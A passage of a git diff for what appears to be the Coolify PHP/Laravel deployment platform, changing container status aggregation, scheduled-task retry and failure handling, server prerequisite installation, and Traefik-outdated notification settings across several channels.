-                                $this->applicationContainerStatuses->get($applicationId)->put($containerName, $containerStatus);
-                            }
-                        } else {
-                            $previewKey = $applicationId.':'.$pullRequestId;
-                            if ($this->allApplicationPreviewsIds->contains($previewKey) && $this->isRunning($containerStatus)) {
-                                $this->foundApplicationPreviewsIds->push($previewKey);
-                            }
-                            $this->updateApplicationPreviewStatus($applicationId, $pullRequestId, $containerStatus);
+
+            if (! $coolify_managed) {
+                continue;
+            }
+
+            $name = data_get($container, 'name');
+            if ($name === 'coolify-log-drain' && $this->isRunning($containerStatus)) {
+                $this->foundLogDrainContainer = true;
+            }
+            if ($labels->has('coolify.applicationId')) {
+                $applicationId = $labels->get('coolify.applicationId');
+                $pullRequestId = $labels->get('coolify.pullRequestId', '0');
+                try {
+                    if ($pullRequestId === '0') {
+                        if ($this->allApplicationIds->contains($applicationId)) {
+                            $this->foundApplicationIds->push($applicationId);
+                        }
+                        // Store container status for aggregation
+                        if (! $this->applicationContainerStatuses->has($applicationId)) {
+                            $this->applicationContainerStatuses->put($applicationId, collect());
+                        }
+                        $containerName = $labels->get('com.docker.compose.service');
+                        if ($containerName) {
+                            $this->applicationContainerStatuses->get($applicationId)->put($containerName, $containerStatus);
                         }
-                    } catch (\Exception $e) {
-                    }
-                } elseif ($labels->has('coolify.serviceId')) {
-                    $serviceId = $labels->get('coolify.serviceId');
-                    $subType = $labels->get('coolify.service.subType');
-                    $subId = $labels->get('coolify.service.subId');
-                    if ($subType === 'application' && $this->isRunning($containerStatus)) {
-                        $this->foundServiceApplicationIds->push($subId);
-                        $this->updateServiceSubStatus($serviceId, $subType, $subId, $containerStatus);
-                    } elseif ($subType === 'database' && $this->isRunning($containerStatus)) {
-                        $this->foundServiceDatabaseIds->push($subId);
-                        $this->updateServiceSubStatus($serviceId, $subType, $subId, $containerStatus);
-                    }
-                } else {
-                    $uuid = $labels->get('com.docker.compose.service');
-                    $type = $labels->get('coolify.type');
-                    if ($name === 'coolify-proxy' && $this->isRunning($containerStatus)) {
-                        $this->foundProxy = true;
-                    } elseif ($type === 'service' && $this->isRunning($containerStatus)) {
                     } else {
-                        if ($this->allDatabaseUuids->contains($uuid) && $this->isRunning($containerStatus)) {
-                            $this->foundDatabaseUuids->push($uuid);
-                            if ($this->allTcpProxyUuids->contains($uuid) && $this->isRunning($containerStatus)) {
-                                $this->updateDatabaseStatus($uuid, $containerStatus, tcpProxy: true);
-                            } else {
-                                $this->updateDatabaseStatus($uuid, $containerStatus, tcpProxy: false);
-                            }
+                        $previewKey = $applicationId.':'.$pullRequestId;
+                        if ($this->allApplicationPreviewsIds->contains($previewKey)) {
+                            $this->foundApplicationPreviewsIds->push($previewKey);
+                        }
+                        $this->updateApplicationPreviewStatus($applicationId, $pullRequestId, $containerStatus);
+                    }
+                } catch (\Exception $e) {
+                }
+            } elseif ($labels->has('coolify.serviceId')) {
+                $serviceId = $labels->get('coolify.serviceId');
+                $subType = $labels->get('coolify.service.subType');
+                $subId = $labels->get('coolify.service.subId');
+                if ($subType === 'application') {
+                    $this->foundServiceApplicationIds->push($subId);
+                    // Store container status for aggregation
+                    $key = $serviceId.':'.$subType.':'.$subId;
+                    if (! $this->serviceContainerStatuses->has($key)) {
+                        $this->serviceContainerStatuses->put($key, collect());
+                    }
+                    $containerName = $labels->get('com.docker.compose.service');
+                    if ($containerName) {
+                        $this->serviceContainerStatuses->get($key)->put($containerName, $containerStatus);
+                    }
+                } elseif ($subType === 'database') {
+                    $this->foundServiceDatabaseIds->push($subId);
+                    // Store container status for aggregation
+                    $key = $serviceId.':'.$subType.':'.$subId;
+                    if (! $this->serviceContainerStatuses->has($key)) {
+                        $this->serviceContainerStatuses->put($key, collect());
+                    }
+                    $containerName = $labels->get('com.docker.compose.service');
+                    if ($containerName) {
+                        $this->serviceContainerStatuses->get($key)->put($containerName, $containerStatus);
+                    }
+                }
+            } else {
+                $uuid = $labels->get('com.docker.compose.service');
+                $type = $labels->get('coolify.type');
+                if ($name === 'coolify-proxy' && $this->isRunning($containerStatus)) {
+                    $this->foundProxy = true;
+                } elseif ($type === 'service' && $this->isRunning($containerStatus)) {
+                } else {
+                    if ($this->allDatabaseUuids->contains($uuid) && $this->isRunning($containerStatus)) {
+                        $this->foundDatabaseUuids->push($uuid);
+                        if ($this->allTcpProxyUuids->contains($uuid) && $this->isRunning($containerStatus)) {
+                            $this->updateDatabaseStatus($uuid, $containerStatus, tcpProxy: true);
+                        } else {
+                            $this->updateDatabaseStatus($uuid, $containerStatus, tcpProxy: false);
                         }
                     }
                 }
@@ -218,6 +260,9 @@ public function handle()
         // Aggregate multi-container application statuses
         $this->aggregateMultiContainerStatuses();
 
+        // Aggregate multi-container service statuses
+        $this->aggregateServiceContainerStatuses();
+
         $this->checkLogDrainContainer();
     }
 
@@ -235,57 +280,28 @@ private function aggregateMultiContainerStatuses()
 
             // Parse docker compose to check for excluded containers
             $dockerComposeRaw = data_get($application, 'docker_compose_raw');
-            $excludedContainers = collect();
-
-            if ($dockerComposeRaw) {
-                try {
-                    $dockerCompose = \Symfony\Component\Yaml\Yaml::parse($dockerComposeRaw);
-                    $services = data_get($dockerCompose, 'services', []);
-
-                    foreach ($services as $serviceName => $serviceConfig) {
-                        // Check if container should be excluded
-                        $excludeFromHc = data_get($serviceConfig, 'exclude_from_hc', false);
-                        $restartPolicy = data_get($serviceConfig, 'restart', 'always');
-
-                        if ($excludeFromHc || $restartPolicy === 'no') {
-                            $excludedContainers->push($serviceName);
-                        }
-                    }
-                } catch (\Exception $e) {
-                    // If we can't parse, treat all containers as included
-                }
-            }
+            $excludedContainers = $this->getExcludedContainersFromDockerCompose($dockerComposeRaw);
 
             // Filter out excluded containers
             $relevantStatuses = $containerStatuses->filter(function ($status, $containerName) use ($excludedContainers) {
                 return ! $excludedContainers->contains($containerName);
             });
 
-            // If all containers are excluded, don't update status
+            // If all containers are excluded, calculate status from excluded containers
             if ($relevantStatuses->isEmpty()) {
+                $aggregatedStatus = $this->calculateExcludedStatusFromStrings($containerStatuses);
+
+                if ($aggregatedStatus && $application->status !== $aggregatedStatus) {
+                    $application->status = $aggregatedStatus;
+                    $application->save();
+                }
+
                 continue;
             }
 
-            // Aggregate status: if any container is running, app is running
-            $hasRunning = false;
-            $hasUnhealthy = false;
-
-            foreach ($relevantStatuses as $status) {
-                if (str($status)->contains('running')) {
-                    $hasRunning = true;
-                    if (str($status)->contains('unhealthy')) {
-                        $hasUnhealthy = true;
-                    }
-                }
-            }
-
-            $aggregatedStatus = null;
-            if ($hasRunning) {
-                $aggregatedStatus = $hasUnhealthy ? 'running (unhealthy)' : 'running (healthy)';
-            } else {
-                // All containers are exited
-                $aggregatedStatus = 'exited (unhealthy)';
-            }
+            // Use ContainerStatusAggregator service for state machine logic
+            $aggregator = new ContainerStatusAggregator;
+            $aggregatedStatus = $aggregator->aggregateFromStrings($relevantStatuses, 0);
 
             // Update application status with aggregated result
             if ($aggregatedStatus && $application->status !== $aggregatedStatus) {
@@ -295,6 +311,66 @@ private function aggregateMultiContainerStatuses()
         }
     }
 
+    private function aggregateServiceContainerStatuses()
+    {
+        if ($this->serviceContainerStatuses->isEmpty()) {
+            return;
+        }
+
+        foreach ($this->serviceContainerStatuses as $key => $containerStatuses) {
+            // Parse key: serviceId:subType:subId
+            [$serviceId, $subType, $subId] = explode(':', $key);
+
+            $service = $this->services->where('id', $serviceId)->first();
+            if (! $service) {
+                continue;
+            }
+
+            // Get the service sub-resource (ServiceApplication or ServiceDatabase)
+            $subResource = null;
+            if ($subType === 'application') {
+                $subResource = $service->applications()->where('id', $subId)->first();
+            } elseif ($subType === 'database') {
+                $subResource = $service->databases()->where('id', $subId)->first();
+            }
+
+            if (! $subResource) {
+                continue;
+            }
+
+            // Parse docker compose from service to check for excluded containers
+            $dockerComposeRaw = data_get($service, 'docker_compose_raw');
+            $excludedContainers = $this->getExcludedContainersFromDockerCompose($dockerComposeRaw);
+
+            // Filter out excluded containers
+            $relevantStatuses = $containerStatuses->filter(function ($status, $containerName) use ($excludedContainers) {
+                return ! $excludedContainers->contains($containerName);
+            });
+
+            // If all containers are excluded, calculate status from excluded containers
+            if ($relevantStatuses->isEmpty()) {
+                $aggregatedStatus = $this->calculateExcludedStatusFromStrings($containerStatuses);
+                if ($aggregatedStatus && $subResource->status !== $aggregatedStatus) {
+                    $subResource->status = $aggregatedStatus;
+                    $subResource->save();
+                }
+
+                continue;
+            }
+
+            // Use ContainerStatusAggregator service for state machine logic
+            // NOTE: Sentinel does NOT provide restart count data, so maxRestartCount is always 0
+            $aggregator = new ContainerStatusAggregator;
+            $aggregatedStatus = $aggregator->aggregateFromStrings($relevantStatuses, 0);
+
+            // Update service sub-resource status with aggregated result
+            if ($aggregatedStatus && $subResource->status !== $aggregatedStatus) {
+                $subResource->status = $aggregatedStatus;
+                $subResource->save();
+            }
+        }
+    }
+
     private function updateApplicationStatus(string $applicationId, string $containerStatus)
     {
         $application = $this->applications->where('id', $applicationId)->first();
diff --git a/app/Jobs/RestartProxyJob.php b/app/Jobs/RestartProxyJob.php
index dba4f4ac8..e3e809c8d 100644
--- a/app/Jobs/RestartProxyJob.php
+++ b/app/Jobs/RestartProxyJob.php
@@ -31,12 +31,12 @@ public function __construct(public Server $server) {}
     public function handle()
     {
         try {
-            StopProxy::run($this->server);
+            StopProxy::run($this->server, restarting: true);
 
             $this->server->proxy->force_stop = false;
             $this->server->save();
 
-            StartProxy::run($this->server, force: true);
+            StartProxy::run($this->server, force: true, restarting: true);
 
         } catch (\Throwable $e) {
             return handleError($e);
diff --git a/app/Jobs/ScheduledJobManager.php b/app/Jobs/ScheduledJobManager.php
index 9937444b8..75ff883c2 100644
--- a/app/Jobs/ScheduledJobManager.php
+++ b/app/Jobs/ScheduledJobManager.php
@@ -52,7 +52,7 @@ public function middleware(): array
     {
         return [
             (new WithoutOverlapping('scheduled-job-manager'))
-                ->expireAfter(60)   // Lock expires after 1 minute to prevent stale locks
+                ->expireAfter(90)   // Lock expires after 90s to handle high-load environments with many tasks
                 ->dontRelease(),    // Don't re-queue on lock conflict
         ];
     }
diff --git a/app/Jobs/ScheduledTaskJob.php b/app/Jobs/ScheduledTaskJob.php
index 609595356..e55db5440 100644
--- a/app/Jobs/ScheduledTaskJob.php
+++ b/app/Jobs/ScheduledTaskJob.php
@@ -18,14 +18,30 @@
 use Illuminate\Foundation\Bus\Dispatchable;
 use Illuminate\Queue\InteractsWithQueue;
 use Illuminate\Queue\SerializesModels;
+use Illuminate\Support\Facades\Log;
 
 class ScheduledTaskJob implements ShouldQueue
 {
     use Dispatchable, InteractsWithQueue, Queueable, SerializesModels;
 
+    /**
+     * The number of times the job may be attempted.
+     */
+    public $tries = 3;
+
+    /**
+     * The maximum number of unhandled exceptions to allow before failing.
+     */
+    public $maxExceptions = 1;
+
+    /**
+     * The number of seconds the job can run before timing out.
+     */
+    public $timeout = 300;
+
     public Team $team;
 
-    public Server $server;
+    public ?Server $server = null;
 
     public ScheduledTask $task;
 
@@ -33,6 +49,11 @@ class ScheduledTaskJob implements ShouldQueue
 
     public ?ScheduledTaskExecution $task_log = null;
 
+    /**
+     * Store execution ID to survive job serialization for timeout handling.
+     */
+    protected ?int $executionId = null;
+
     public string $task_status = 'failed';
 
     public ?string $task_output = null;
@@ -55,6 +76,9 @@ public function __construct($task)
         }
         $this->team = Team::findOrFail($task->team_id);
         $this->server_timezone = $this->getServerTimezone();
+
+        // Set timeout from task configuration
+        $this->timeout = $this->task->timeout ?? 300;
     }
 
     private function getServerTimezone(): string
@@ -70,11 +94,18 @@ private function getServerTimezone(): string
 
     public function handle(): void
     {
+        $startTime = Carbon::now();
+
         try {
             $this->task_log = ScheduledTaskExecution::create([
                 'scheduled_task_id' => $this->task->id,
+                'started_at' => $startTime,
+                'retry_count' => $this->attempts() - 1,
             ]);
 
+            // Store execution ID for timeout handling
+            $this->executionId = $this->task_log->id;
+
             $this->server = $this->resource->destination->server;
 
             if ($this->resource->type() === 'application') {
@@ -129,15 +160,101 @@ public function handle(): void
                     'message' => $this->task_output ?? $e->getMessage(),
                 ]);
             }
-            $this->team?->notify(new TaskFailed($this->task, $e->getMessage()));
+
+            // Log the error to the scheduled-errors channel
+            Log::channel('scheduled-errors')->error('ScheduledTask execution failed', [
+                'job' => 'ScheduledTaskJob',
+                'task_id' => $this->task->uuid,
+                'task_name' => $this->task->name,
+                'server' => $this->server?->name ?? 'unknown',
+                'attempt' => $this->attempts(),
+                'error' => $e->getMessage(),
+            ]);
+
+            // Only notify and throw on final failure
+
+            // Re-throw to trigger Laravel's retry mechanism with backoff
             throw $e;
         } finally {
             ScheduledTaskDone::dispatch($this->team->id);
             if ($this->task_log) {
+                $finishedAt = Carbon::now();
+                $duration = round($startTime->floatDiffInSeconds($finishedAt), 2);
+
                 $this->task_log->update([
-                    'finished_at' => Carbon::now()->toImmutable(),
+                    'finished_at' => $finishedAt->toImmutable(),
+                    'duration' => $duration,
                 ]);
             }
         }
     }
+
+    /**
+     * Calculate the number of seconds to wait before retrying the job.
+     */
+    public function backoff(): array
+    {
+        return [30, 60, 120]; // 30s, 60s, 120s between retries
+    }
+
+    /**
+     * Handle a job failure.
+     */
+    public function failed(?\Throwable $exception): void
+    {
+        Log::channel('scheduled-errors')->error('ScheduledTask permanently failed', [
+            'job' => 'ScheduledTaskJob',
+            'task_id' => $this->task->uuid,
+            'task_name' => $this->task->name,
+            'server' => $this->server?->name ?? 'unknown',
+            'total_attempts' => $this->attempts(),
+            'error' => $exception?->getMessage(),
+            'trace' => $exception?->getTraceAsString(),
+        ]);
+
+        // Reload execution log from database
+        // When a job times out, failed() is called in a fresh process with the original
+        // queue payload, so $executionId will be null. We need to query for the latest execution.
+        $execution = null;
+
+        // Try to find execution using stored ID first (works for non-timeout failures)
+        if ($this->executionId) {
+            $execution = ScheduledTaskExecution::find($this->executionId);
+        }
+
+        // If no stored ID or not found, query for the most recent execution log for this task
+        if (! $execution) {
+            $execution = ScheduledTaskExecution::query()
+                ->where('scheduled_task_id', $this->task->id)
+                ->orderBy('created_at', 'desc')
+                ->first();
+        }
+
+        // Last resort: check task_log property
+        if (! $execution && $this->task_log) {
+            $execution = $this->task_log;
+        }
+
+        if ($execution) {
+            $errorMessage = 'Job permanently failed after '.$this->attempts().' attempts';
+            if ($exception) {
+                $errorMessage .= ': '.$exception->getMessage();
+            }
+
+            $execution->update([
+                'status' => 'failed',
+                'message' => $errorMessage,
+                'error_details' => $exception?->getTraceAsString(),
+                'finished_at' => Carbon::now()->toImmutable(),
+            ]);
+        } else {
+            Log::channel('scheduled-errors')->warning('Could not find execution log to update', [
+                'execution_id' => $this->executionId,
+                'task_id' => $this->task->uuid,
+            ]);
+        }
+
+        // Notify team about permanent failure
+        $this->team?->notify(new TaskFailed($this->task, $exception?->getMessage() ?? 'Unknown error'));
+    }
 }
diff --git a/app/Jobs/ServerManagerJob.php b/app/Jobs/ServerManagerJob.php
index 043845c00..45ab1dde8 100644
--- a/app/Jobs/ServerManagerJob.php
+++ b/app/Jobs/ServerManagerJob.php
@@ -87,7 +87,7 @@ private function dispatchConnectionChecks(Collection $servers): void
                     Log::channel('scheduled-errors')->error('Failed to dispatch ServerConnectionCheck', [
                         'server_id' => $server->id,
                         'server_name' => $server->name,
-                        'error' => $e->getMessage(),
+                        'error' => get_class($e).': '.$e->getMessage(),
                     ]);
                 }
             });
@@ -103,7 +103,7 @@ private function processScheduledTasks(Collection $servers): void
                 Log::channel('scheduled-errors')->error('Error processing server tasks', [
                     'server_id' => $server->id,
                     'server_name' => $server->name,
-                    'error' => $e->getMessage(),
+                    'error' => get_class($e).': '.$e->getMessage(),
                 ]);
             }
         }
diff --git a/app/Jobs/ValidateAndInstallServerJob.php b/app/Jobs/ValidateAndInstallServerJob.php
index 388791f10..ff5c2e4f5 100644
--- a/app/Jobs/ValidateAndInstallServerJob.php
+++ b/app/Jobs/ValidateAndInstallServerJob.php
@@ -72,6 +72,42 @@ public function handle(): void
                 return;
             }
 
+            // Check and install prerequisites
+            $validationResult = $this->server->validatePrerequisites();
+            if (! $validationResult['success']) {
+                if ($this->numberOfTries >= $this->maxTries) {
+                    $missingCommands = implode(', ', $validationResult['missing']);
+                    $errorMessage = "Prerequisites ({$missingCommands}) could not be installed after {$this->maxTries} attempts. Please install them manually before continuing.";
+                    $this->server->update([
+                        'validation_logs' => $errorMessage,
+                        'is_validating' => false,
+                    ]);
+                    Log::error('ValidateAndInstallServer: Prerequisites installation failed after max tries', [
+                        'server_id' => $this->server->id,
+                        'attempts' => $this->numberOfTries,
+                        'missing_commands' => $validationResult['missing'],
+                        'found_commands' => $validationResult['found'],
+                    ]);
+
+                    return;
+                }
+
+                Log::info('ValidateAndInstallServer: Installing prerequisites', [
+                    'server_id' => $this->server->id,
+                    'attempt' => $this->numberOfTries + 1,
+                    'missing_commands' => $validationResult['missing'],
+                    'found_commands' => $validationResult['found'],
+                ]);
+
+                // Install prerequisites
+                $this->server->installPrerequisites();
+
+                // Retry validation after installation
+                self::dispatch($this->server, $this->numberOfTries + 1)->delay(now()->addSeconds(30));
+
+                return;
+            }
+
             // Check if Docker is installed
             $dockerInstalled = $this->server->validateDockerEngine();
             $dockerComposeInstalled = $this->server->validateDockerCompose();
diff --git a/app/Livewire/ActivityMonitor.php b/app/Livewire/ActivityMonitor.php
index 54034ef7a..d01b55afb 100644
--- a/app/Livewire/ActivityMonitor.php
+++ b/app/Livewire/ActivityMonitor.php
@@ -28,12 +28,20 @@ class ActivityMonitor extends Component
 
     protected $listeners = ['activityMonitor' => 'newMonitorActivity'];
 
-    public function newMonitorActivity($activityId, $eventToDispatch = 'activityFinished', $eventData = null)
+    public function newMonitorActivity($activityId, $eventToDispatch = 'activityFinished', $eventData = null, $header = null)
     {
+        // Reset event dispatched flag for new activity
+        self::$eventDispatched = false;
+
         $this->activityId = $activityId;
         $this->eventToDispatch = $eventToDispatch;
         $this->eventData = $eventData;
 
+        // Update header if provided
+        if ($header !== null) {
+            $this->header = $header;
+        }
+
         $this->hydrateActivity();
 
         $this->isPollingActive = true;
diff --git a/app/Livewire/Boarding/Index.php b/app/Livewire/Boarding/Index.php
index 7912c4b85..ab1a1aae9 100644
--- a/app/Livewire/Boarding/Index.php
+++ b/app/Livewire/Boarding/Index.php
@@ -14,7 +14,10 @@
 
 class Index extends Component
 {
-    protected $listeners = ['refreshBoardingIndex' => 'validateServer'];
+    protected $listeners = [
+        'refreshBoardingIndex' => 'validateServer',
+        'prerequisitesInstalled' => 'handlePrerequisitesInstalled',
+    ];
 
     #[\Livewire\Attributes\Url(as: 'step', history: true)]
     public string $currentState = 'welcome';
@@ -76,6 +79,10 @@ class Index extends Component
 
     public ?string $minDockerVersion = null;
 
+    public int $prerequisiteInstallAttempts = 0;
+
+    public int $maxPrerequisiteInstallAttempts = 3;
+
     public function mount()
     {
         if (auth()->user()?->isMember() && auth()->user()->currentTeam()->show_boarding === true) {
@@ -320,6 +327,62 @@ public function validateServer()
             return handleError(error: $e, livewire: $this);
         }
 
+        try {
+            // Check prerequisites
+            $validationResult = $this->createdServer->validatePrerequisites();
+            if (! $validationResult['success']) {
+                // Check if we've exceeded max attempts
+                if ($this->prerequisiteInstallAttempts >= $this->maxPrerequisiteInstallAttempts) {
+                    $missingCommands = implode(', ', $validationResult['missing']);
+                    throw new \Exception("Prerequisites ({$missingCommands}) could not be installed after {$this->maxPrerequisiteInstallAttempts} attempts. Please install them manually.");
+                }
+
+                // Start async installation and wait for completion via ActivityMonitor
+                $activity = $this->createdServer->installPrerequisites();
+                $this->prerequisiteInstallAttempts++;
+                $this->dispatch('activityMonitor', $activity->id, 'prerequisitesInstalled');
+
+                // Return early - handlePrerequisitesInstalled() will be called when installation completes
+                return;
+            }
+
+            // Prerequisites are already installed, continue with validation
+            $this->continueValidation();
+        } catch (\Throwable $e) {
+            return handleError(error: $e, livewire: $this);
+        }
+    }
+
+    public function handlePrerequisitesInstalled()
+    {
+        try {
+            // Revalidate prerequisites after installation completes
+            $validationResult = $this->createdServer->validatePrerequisites();
+            if (! $validationResult['success']) {
+                // Installation completed but prerequisites still missing - retry
+                $missingCommands = implode(', ', $validationResult['missing']);
+
+                if ($this->prerequisiteInstallAttempts >= $this->maxPrerequisiteInstallAttempts) {
+                    throw new \Exception("Prerequisites ({$missingCommands}) could not be installed after {$this->maxPrerequisiteInstallAttempts} attempts. Please install them manually.");
+                }
+
+                // Try again
+                $activity = $this->createdServer->installPrerequisites();
+                $this->prerequisiteInstallAttempts++;
+                $this->dispatch('activityMonitor', $activity->id, 'prerequisitesInstalled');
+
+                return;
+            }
+
+            // Prerequisites validated successfully - continue with Docker validation
+            $this->continueValidation();
+        } catch (\Throwable $e) {
+            return handleError(error: $e, livewire: $this);
+        }
+    }
+
+    private function continueValidation()
+    {
         try {
             $dockerVersion = instant_remote_process(["docker version|head -2|grep -i version| awk '{print $2}'"], $this->createdServer, true);
             $dockerVersion = checkMinimumDockerEngineVersion($dockerVersion);
@@ -347,6 +410,8 @@ public function selectProxy(?string $proxyType = null)
         }
         $this->createdServer->proxy->type = $proxyType;
         $this->createdServer->proxy->status = 'exited';
+        $this->createdServer->proxy->last_saved_settings = null;
+        $this->createdServer->proxy->last_applied_settings = null;
         $this->createdServer->save();
         $this->getProjects();
     }
diff --git a/app/Livewire/Concerns/SynchronizesModelData.php b/app/Livewire/Concerns/SynchronizesModelData.php
deleted file mode 100644
index f8218c715..000000000
--- a/app/Livewire/Concerns/SynchronizesModelData.php
+++ /dev/null
@@ -1,35 +0,0 @@
-<?php
-
-namespace App\Livewire\Concerns;
-
-trait SynchronizesModelData
-{
-    /**
-     * Define the mapping between component properties and model keys.
-     *
-     * @return array<string, string> Array mapping property names to model keys (e.g., ['content' => 'fileStorage.content'])
-     */
-    abstract protected function getModelBindings(): array;
-
-    /**
-     * Synchronize component properties TO the model.
-     * Copies values from component properties to the model.
-     */
-    protected function syncToModel(): void
-    {
-        foreach ($this->getModelBindings() as $property => $modelKey) {
-            data_set($this, $modelKey, $this->{$property});
-        }
-    }
-
-    /**
-     * Synchronize component properties FROM the model.
-     * Copies values from the model to component properties.
-     */
-    protected function syncFromModel(): void
-    {
-        foreach ($this->getModelBindings() as $property => $modelKey) {
-            $this->{$property} = data_get($this, $modelKey);
-        }
-    }
-}
diff --git a/app/Livewire/Notifications/Discord.php b/app/Livewire/Notifications/Discord.php
index 28d1cb866..b914fbd94 100644
--- a/app/Livewire/Notifications/Discord.php
+++ b/app/Livewire/Notifications/Discord.php
@@ -62,6 +62,9 @@ class Discord extends Component
     #[Validate(['boolean'])]
     public bool $serverPatchDiscordNotifications = false;
 
+    #[Validate(['boolean'])]
+    public bool $traefikOutdatedDiscordNotifications = true;
+
     #[Validate(['boolean'])]
     public bool $discordPingEnabled = true;
 
@@ -98,6 +101,7 @@ public function syncData(bool $toModel = false)
             $this->settings->server_reachable_discord_notifications = $this->serverReachableDiscordNotifications;
             $this->settings->server_unreachable_discord_notifications = $this->serverUnreachableDiscordNotifications;
             $this->settings->server_patch_discord_notifications = $this->serverPatchDiscordNotifications;
+            $this->settings->traefik_outdated_discord_notifications = $this->traefikOutdatedDiscordNotifications;
 
             $this->settings->discord_ping_enabled = $this->discordPingEnabled;
 
@@ -120,6 +124,7 @@ public function syncData(bool $toModel = false)
             $this->serverReachableDiscordNotifications = $this->settings->server_reachable_discord_notifications;
             $this->serverUnreachableDiscordNotifications = $this->settings->server_unreachable_discord_notifications;
             $this->serverPatchDiscordNotifications = $this->settings->server_patch_discord_notifications;
+            $this->traefikOutdatedDiscordNotifications = $this->settings->traefik_outdated_discord_notifications;
 
             $this->discordPingEnabled = $this->settings->discord_ping_enabled;
         }
diff --git a/app/Livewire/Notifications/Email.php b/app/Livewire/Notifications/Email.php
index d62a08417..847f10765 100644
--- a/app/Livewire/Notifications/Email.php
+++ b/app/Livewire/Notifications/Email.php
@@ -104,6 +104,9 @@ class Email extends Component
     #[Validate(['boolean'])]
     public bool $serverPatchEmailNotifications = false;
 
+    #[Validate(['boolean'])]
+    public bool $traefikOutdatedEmailNotifications = true;
+
     #[Validate(['nullable', 'email'])]
     public ?string $testEmailAddress = null;
 
@@ -155,6 +158,7 @@ public function syncData(bool $toModel = false)
             $this->settings->server_reachable_email_notifications = $this->serverReachableEmailNotifications;
             $this->settings->server_unreachable_email_notifications = $this->serverUnreachableEmailNotifications;
             $this->settings->server_patch_email_notifications = $this->serverPatchEmailNotifications;
+            $this->settings->traefik_outdated_email_notifications = $this->traefikOutdatedEmailNotifications;
             $this->settings->save();
 
         } else {
@@ -187,6 +191,7 @@ public function syncData(bool $toModel = false)
             $this->serverReachableEmailNotifications = $this->settings->server_reachable_email_notifications;
             $this->serverUnreachableEmailNotifications = $this->settings->server_unreachable_email_notifications;
             $this->serverPatchEmailNotifications = $this->settings->server_patch_email_notifications;
+            $this->traefikOutdatedEmailNotifications = $this->settings->traefik_outdated_email_notifications;
         }
     }
 
diff --git a/app/Livewire/Notifications/Pushover.php b/app/Livewire/Notifications/Pushover.php
index 9c7ff64ad..d79eea87b 100644
--- a/app/Livewire/Notifications/Pushover.php
+++ b/app/Livewire/Notifications/Pushover.php
@@ -70,6 +70,9 @@ class Pushover extends Component
     #[Validate(['boolean'])]
     public bool $serverPatchPushoverNotifications = false;
 
+    #[Validate(['boolean'])]
+    public bool $traefikOutdatedPushoverNotifications = true;
+
     public function mount()
     {
         try {
@@ -104,6 +107,7 @@ public function syncData(bool $toModel = false)
             $this->settings->server_reachable_pushover_notifications = $this->serverReachablePushoverNotifications;
             $this->settings->server_unreachable_pushover_notifications = $this->serverUnreachablePushoverNotifications;
             $this->settings->server_patch_pushover_notifications = $this->serverPatchPushoverNotifications;
+            $this->settings->traefik_outdated_pushover_notifications = $this->traefikOutdatedPushoverNotifications;
 
             $this->settings->save();
             refreshSession();
@@ -125,6 +129,7 @@ public function syncData(bool $toModel = false)
             $this->serverReachablePushoverNotifications = $this->settings->server_reachable_pushover_notifications;
             $this->serverUnreachablePushoverNotifications = $this->settings->server_unreachable_pushover_notifications;
             $this->serverPatchPushoverNotifications = $this->settings->server_patch_pushover_notifications;
+            $this->traefikOutdatedPushoverNotifications = $this->settings->traefik_outdated_pushover_notifications;
         }
     }
 
diff --git a/app/Livewire/Notifications/Slack.php b/app/Livewire/Notifications/Slack.php
index d21399c42..fa8c97ae9 100644
--- a/app/Livewire/Notifications/Slack.php
+++ b/app/Livewire/Notifications/Slack.php
@@ -67,6 +67,9 @@ class Slack extends Component
     #[Validate(['boolean'])]
     public bool $serverPatchSlackNotifications = false;
 
+    #[Validate(['boolean'])]
+    public bool $traefikOutdatedSlackNotifications = true;
+
     public function mount()
     {
         try {
@@ -100,6 +103,7 @@ public function syncData(bool $toModel = false)
             $this->settings->server_reachable_slack_notifications = $this->serverReachableSlackNotifications;
             $this->settings->server_unreachable_slack_notifications = $this->serverUnreachableSlackNotifications;
             $this->settings->server_patch_slack_notifications = $this->serverPatchSlackNotifications;
+            $this->settings->traefik_outdated_slack_notifications = $this->traefikOutdatedSlackNotifications;
 
             $this->settings->save();
             refreshSession();
@@ -120,6 +124,7 @@ public function syncData(bool $toModel = false)
             $this->serverReachableSlackNotifications = $this->settings->server_reachable_slack_notifications;
             $this->serverUnreachableSlackNotifications = $this->settings->server_unreachable_slack_notifications;
             $this->serverPatchSlackNotifications = $this->settings->server_patch_slack_notifications;
+            $this->traefikOutdatedSlackNotifications = $this->settings->traefik_outdated_slack_notifications;
         }
     }
 
diff --git a/app/Livewire/Notifications/Telegram.php b/app/Livewire/Notifications/Telegram.php
index ca9df47c1..fc3966cf6 100644
--- a/app/Livewire/Notifications/Telegram.php
+++ b/app/Livewire/Notifications/Telegram.php
@@ -70,6 +70,9 @@ class Telegram extends Component
     #[Validate(['boolean'])]
     public bool $serverPatchTelegramNotifications = false;
 
+    #[Validate(['boolean'])]
+    public bool $traefikOutdatedTelegramNotifications = true;
+
     #[Validate(['nullable', 'string'])]
     public ?string $telegramNotificationsDeploymentSuccessThreadId = null;
 
@@ -109,6 +112,9 @@ class Telegram extends Component
     #[Validate(['nullable', 'string'])]
     public ?string $telegramNotificationsServerPatchThreadId = null;
 
+    #[Validate(['nullable', 'string'])]
+    public ?string $telegramNotificationsTraefikOutdatedThreadId = null;
+
     public function mount()
     {
         try {
@@ -143,6 +149,7 @@ public function syncData(bool $toModel = false)
             $this->settings->server_reachable_telegram_notifications = $this->serverReachableTelegramNotifications;
             $this->settings->server_unreachable_telegram_notifications = $this->serverUnreachableTelegramNotifications;
             $this->settings->server_patch_telegram_notifications = $this->serverPatchTelegramNotifications;
+            $this->settings->traefik_outdated_telegram_notifications = $this->traefikOutdatedTelegramNotifications;
 
             $this->settings->telegram_notifications_deployment_success_thread_id = $this->telegramNotificationsDeploymentSuccessThreadId;
             $this->settings->telegram_notifications_deployment_failure_thread_id = $this->telegramNotificationsDeploymentFailureThreadId;
@@ -157,6 +164,7 @@ public function syncData(bool $toModel = false)
             $this->settings->telegram_notifications_server_reachable_thread_id = $this->telegramNotificationsServerReachableThreadId;
             $this->settings->telegram_notifications_server_unreachable_thread_id = $this->telegramNotificationsServerUnreachableThreadId;
             $this->settings->telegram_notifications_server_patch_thread_id = $this->telegramNotificationsServerPatchThreadId;
+            $this->settings->telegram_notifications_traefik_outdated_thread_id = $this->telegramNotificationsTraefikOutdatedThreadId;
 
             $this->settings->save();
         } else {
@@ -177,6 +185,7 @@ public function syncData(bool $toModel = false)
             $this->serverReachableTelegramNotifications = $this->settings->server_reachable_telegram_notifications;
             $this->serverUnreachableTelegramNotifications = $this->settings->server_unreachable_telegram_notifications;
